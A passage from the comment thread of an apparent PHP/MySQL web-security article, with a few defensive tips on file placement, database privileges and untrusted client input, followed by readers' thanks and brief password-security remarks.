+Be cautious about putting readable source or data files under the document root. They can just as easily go one level up or into a parallel directory structure.
+ Use a database account with limited privileges. For instance in a MySQL GRANT, you would specify specific database rather than saying "ON *.*". Though, one day, I discovered that an intern was able to access my database as the MySQL root account because while being smug that I wasn't using the root account, I had neglected to give it a password.
+ Always keep in the back of your mind that every HTTP request can be recorded on the client side and duplicated or modified with arbitrary data by a malicious user.
+ Always keep in the back of your mind that a user can block the execution of JavaScript, or even modify it using Firebug.
A great article to start with security for PHP/MYSQL securities something always overlooked by most of the LAMP developers
#97, Santosh Salve, India, 26 March 2010. Reply to this.
Thanks so much for sharing. The idea of putting up an insecure website has had me paralyzed. Following your guidelines may give me the courage to go ahead.
#98, Janice McConnell, United States, 26 June 2010. Reply to this.
The password checking tool john (aka John the ripper) will also brute force passwords, so in addition to not using dictionary words, and common substitutions, you should also pick a longer password. Keep your system upto date and make sure that ALL the passwords on the system are secure. An service account such as nagios with a default password of nagios, can give a user access to your machine to gather more information, and launch attacks from within your firewall.
#99, Mike, 4 October 2010. Reply to this.
This is a very useful article as I am new to PHP and MySql. I will have to find more time to finish rest of the series.
Thanks a lot for these great tips!
Replies: #101.
#100, Ron, USA, 5 November 2010. Reply to this.
You saved my life by helping me out with passing variables (especially page url) in the url by GET.
#101, Puneet, India, 11 April 2011. Reply to this.
thanks a lot. I am a newbie in php and these security measures you wrote has indeed enlightened and helped me.
#102, shu long, phil, 27 August 2011. Reply to this.
Huge thankyou for this article, I have done lots of php coding before on sites.. however i'm building an administration site now heavily using mysql, and this has been a huge help in securing data against the world. My war on malicious hackers has begun :D !!
#103, Luke Pollard, United Kingdom, 7 December 2011. Reply to this.
Great! Good effort. More helpful!
#104, Sheshachaliah, India, 4 June 2012. Reply to this.
Thanks alot, very good article
#105, هاست, 3 October 2012. Reply to this.
On the contrary, there’s plenty of code out there that is frightening because it is so large and overly-complex, that it takes a genius to figure out what is going on, let alone make sure it’s secure. I rewrote one of Paypal’s checkout integration scripts a few months ago. Theirs was roughly 190,000 lines of code. I accomplished the same thing, even adding features, and it was about 500 lines when finished. There is definitely extremes in either direction.
#106, sufalam, India, 16 November 2012. Reply to this.
Very nice articles... Thank you
#107, Mohammad, Iran, 18 November 2012. Reply to this.
Awesome tips, guess I have a lot of stuff to learn, but learning security is probably the best place to start for application development. Thx!
#108, Chad Buie, USA, 30 March 2013. Reply to this.